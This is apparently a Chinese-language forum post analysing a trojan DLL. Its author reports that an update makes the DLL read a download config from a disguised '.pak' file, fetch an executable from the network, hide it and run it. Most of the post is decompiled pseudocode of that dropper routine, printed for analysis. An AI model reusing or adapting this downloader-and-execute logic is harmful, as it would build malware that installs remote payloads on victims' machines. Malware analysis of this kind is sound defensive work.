最近2天,木马作者又更新了下DLL,改成从随机特定目录下的特定文件读取下载配置文件,然后从网上下载运行木马exe,体积缩减为8KB,估计为了过国内的杀软。
https://www.virustotal.com/gui/f ... 773f0d99b?nocache=1
DWORD CInit()
{
CHAR Buffer[512]; // [esp+0h] [ebp-478h] BYREF
CHAR ExistingFileName[512]; // [esp+200h] [ebp-278h] BYREF
int v3; // [esp+400h] [ebp-78h]
const CHAR *v4; // [esp+404h] [ebp-74h]
LPCVOID v5; // [esp+408h] [ebp-70h] BYREF
DWORD nNumberOfBytesToWrite; // [esp+40Ch] [ebp-6Ch] BYREF
DWORD NumberOfBytesRead; // [esp+410h] [ebp-68h] BYREF
HANDLE hObject; // [esp+414h] [ebp-64h]
HANDLE hFile; // [esp+418h] [ebp-60h]
LPVOID lpBuffer; // [esp+41Ch] [ebp-5Ch]
SIZE_T uBytes; // [esp+420h] [ebp-58h]
char v12[4]; // [esp+424h] [ebp-54h] BYREF
unsigned int i; // [esp+428h] [ebp-50h]
int v14; // [esp+42Ch] [ebp-4Ch]
DWORD v15; // [esp+430h] [ebp-48h]
unsigned __int8 v16; // [esp+437h] [ebp-41h]
CHAR FileName[24]; // [esp+438h] [ebp-40h] BYREF
CHAR Operation[8]; // [esp+450h] [ebp-28h] BYREF
int v19[3]; // [esp+458h] [ebp-20h] BYREF
DWORD dwFlagsAndAttributes; // [esp+464h] [ebp-14h]
DWORD v21; // [esp+468h] [ebp-10h]
INT nShowCmd; // [esp+46Ch] [ebp-Ch]
DWORD dwShareMode; // [esp+470h] [ebp-8h]
DWORD dwCreationDisposition; // [esp+474h] [ebp-4h]
dwShareMode = 0;
v19[2] = 0x80000000;
dwCreationDisposition = 4;
v21 = 2;
dwFlagsAndAttributes = 128;
v15 = 0x40000000;
v14 = -1;
nShowCmd = 0;
v3 = 512;
strcpy(FileName, "MAP\\SiezMMLHFHER.pak");
v19[0] = 'exe.';
v19[1] = 0;
strcpy(Operation, "open");
uBytes = 0;
NumberOfBytesRead = 0;
hFile = CreateFileA(FileName, 0x80000000, 0, 0, 4u, 0x80u, 0);
if ( hFile == (HANDLE)-1 )
return 0;
uBytes = GetFileSize(hFile, (LPDWORD)dwShareMode);
if ( uBytes != 16 )
return 0;
lpBuffer = LocalAlloc(0, 0x10u);
if ( !lpBuffer )
return dwShareMode;
if ( ReadFile(hFile, lpBuffer, uBytes, &NumberOfBytesRead, (LPOVERLAPPED)dwShareMode) )
{
v4 = (const CHAR *)lpBuffer;
v5 = 0;
nNumberOfBytesToWrite = 0;
if ( (unsigned __int8)sub_100010B0(lpBuffer, &v5, &nNumberOfBytesToWrite) )// download from net
{
for ( i = 0; i < 0x200; ++i )
{
ExistingFileName = dwShareMode;
Buffer = dwShareMode;
}
GetCurrentDirectoryA(0x200u, Buffer);
v12[0] = v16 % 9 + 97;
v12[1] = v12[0];
v12[2] = 0;
Buffer[3] = 0;
sub_10001000(ExistingFileName, Buffer);
sub_10001000(ExistingFileName, v12);
sub_10001000(ExistingFileName, v19);
hObject = CreateFileA(ExistingFileName, v15, 0, 0, v21, dwFlagsAndAttributes, 0);
if ( hObject != (HANDLE)v14 )
{
if ( WriteFile(hObject, v5, nNumberOfBytesToWrite, &NumberOfBytesRead, 0) )
{
CloseHandle(hObject);
MoveFileExA(ExistingFileName, 0, dwCreationDisposition);
ShellExecuteA(0, Operation, ExistingFileName, v4 + 12, Buffer, nShowCmd);
}
}
}
}
LocalFree(lpBuffer);
return 0;
} |